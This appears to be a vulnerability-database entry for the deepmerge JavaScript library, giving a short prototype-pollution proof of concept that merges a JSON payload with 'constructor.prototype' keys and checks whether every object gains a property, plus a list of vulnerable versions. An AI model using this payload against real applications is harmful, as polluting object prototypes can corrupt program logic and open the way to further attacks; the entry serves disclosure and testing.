README.md

deepmerge

A library for deep (recursive) merging of Javascript objects

Latest version: 4.2.2

Exploits

const merge = require('deepmerge')

merge({}, JSON.parse('{"constructor": {"prototype": {"a": "b"}}}'));
if (({}).a === 'b') console.log('exploitable');

Vulnerable versions: 0.0.1 0.1.0